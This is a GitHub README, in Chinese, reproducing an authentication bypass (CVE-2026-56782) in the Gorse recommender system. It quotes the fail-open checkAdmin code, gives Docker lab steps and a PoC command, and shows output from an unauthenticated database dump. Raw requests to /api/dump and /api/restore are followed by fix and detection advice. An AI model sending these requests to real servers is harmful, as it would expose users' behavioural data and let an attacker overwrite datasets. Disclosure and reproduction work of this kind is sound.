BiiTts/CVE-2026-56782-Gorse-Auth-Bypass
GitHub: BiiTts/CVE-2026-56782-Gorse-Auth-Bypass
该项目复现并演示了 Gorse 推荐系统身份验证绕过漏洞(CVE-2026-56782),包含完整漏洞分析、Docker 实验环境和利用 PoC。
Stars: 0 | Forks: 0
# CVE-2026-56782 — Gorse 未授权数据库导出 / 恢复(身份验证绕过)
| | |
|---|---|
| **CVE** | CVE-2026-56782 |
| **受影响版本** | Gorse `< 0.5.10` |
| **修复版本** | `0.5.10` |
| **类别** | CWE-305 (主要缺陷导致的身份验证绕过) / CWE-306 (缺少身份验证) |
| **CVSS 3.1** | `9.8` — `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H` |
| **身份验证** | **无** (默认 `admin_api_key` 为空) |
| **端点** | `GET /api/dump`, `POST /api/restore` (master HTTP,默认端口 `8088`) |
| **状态** | **已确认** — 针对 `zhenghaoz/gorse-in-one:0.5.8` 进行了端到端复现 |
## 根本原因
`master/rest.go` 使用 `checkAdmin()` 对导出/恢复处理器进行保护:
```
func (m *Master) checkAdmin(request *http.Request) bool {
if m.Config.Master.AdminAPIKey == "" {
return true // <-- fail-open: no key configured => everyone is admin
}
if request.Header.Get("X-API-Key") == m.Config.Master.AdminAPIKey {
return true
}
return false
}
func (m *Master) dump(response http.ResponseWriter, request *http.Request) {
if !m.checkAdmin(request) { writeError(response, 401, "unauthorized"); return }
... // streams every user, item and feedback row
}
func (m *Master) restore(response http.ResponseWriter, request *http.Request) {
if !m.checkAdmin(request) { writeError(response, 401, "unauthorized"); return }
... // m.Restore(request.Body) — overwrites the dataset
}
```
内置的 `config/config.toml` 设置了 `admin_api_key = ""`。在默认配置下,`checkAdmin()` 对**所有**请求均返回 `true` —— 根本不会检查 `X-API-Key` 请求头 —— 因此这两个端点对所有人都是可读且可写的。
## 影响
* **机密性** — `GET /api/dump` 会流式传输整个数据库:所有用户 ID 及标签、所有 item,以及完整的反馈图(谁与什么进行了交互)。对于为实际产品提供支持的开源推荐系统而言,这是大量的 PII / 行为数据。
* **完整性 / 可用性** — `POST /api/restore` 会将数据集替换为攻击者提供的内容,从而导致隐蔽的数据投毒或破坏。
## 复现
```
# 1. 启动易受攻击的服务器(官方镜像,默认配置 = 无需认证)。
docker compose -f lab/docker-compose.yml up -d
# --playground 植入一个真实的 users/items/feedback 数据集以进行 exfiltrate。
# 2. 运行 PoC(无需凭据)。
python3 exploit.py http://127.0.0.1:8088 -o dump.bin
```
观察到:
```
[*] GET http://127.0.0.1:8088/api/dump (no X-API-Key header)
[*] HTTP 200 content-type: application/octet-stream
[+] UNAUTHENTICATED DATA EXFILTRATION CONFIRMED
users : 2079
items : 22320
feedback : 331901
payload : 262747105 protobuf bytes
sample user ids : 0-vortex, 0markill, 0q2, 0x4richard, 0x973
[*] POST http://127.0.0.1:8088/api/restore (no X-API-Key header, EOF-only body)
[+] HTTP 200 (not 401) - checkAdmin bypassed: /api/restore is writable unauthenticated.
```
一个伪造的 `X-API-Key` 请求头仍然返回 `200` —— 这证实了当未设置 `admin_api_key` 时,密钥会被完全忽略(即 fail-open 路径),而不仅仅是匹配错误。
## 原始请求
```
GET /api/dump HTTP/1.1
Host: 127.0.0.1:8088
```
```
POST /api/restore HTTP/1.1
Host: 127.0.0.1:8088
Content-Type: application/octet-stream
```
## 修复方案
* 升级至 **Gorse ≥ 0.5.10**,该版本从管理员检查中移除了空密钥 fail-open 逻辑(未设置的密钥将不再授予访问权限)。
* 作为受影响版本的临时缓解措施,请设置一个高强度的 `admin_api_key`(以及 `dashboard` 凭据),在 master 前端终止 TLS,并且切勿将 master HTTP 端口(`8088`)暴露给不受信任的网络。
## 检测
针对 master 端口上来自任何缺乏有效 `X-API-Key` 客户端的 `GET /api/dump` 或 `POST /api/restore` 请求发出警报,并监测来自 `/api/dump` 的大型 `application/octet-stream` 响应。
请参阅 [`ANALYSIS.md`](ANALYSIS.md) 以了解请求流、导出流格式和补丁详情。
* 作者:**Caio Fabrício** — [github.com/BiiTts](https://github.com/BiiTts)
* 漏洞披露荣誉归属于原始 CVE 报告者;本仓库仅用于防御和教育目的的独立复现。仅供授权的安全测试使用。
标签:Go, Gorse, HTTP工具, PoC, Ruby工具, 数据库导出, 数据泄露, 暴力破解, 版权保护, 认证绕过, 请求拦截, 逆向工具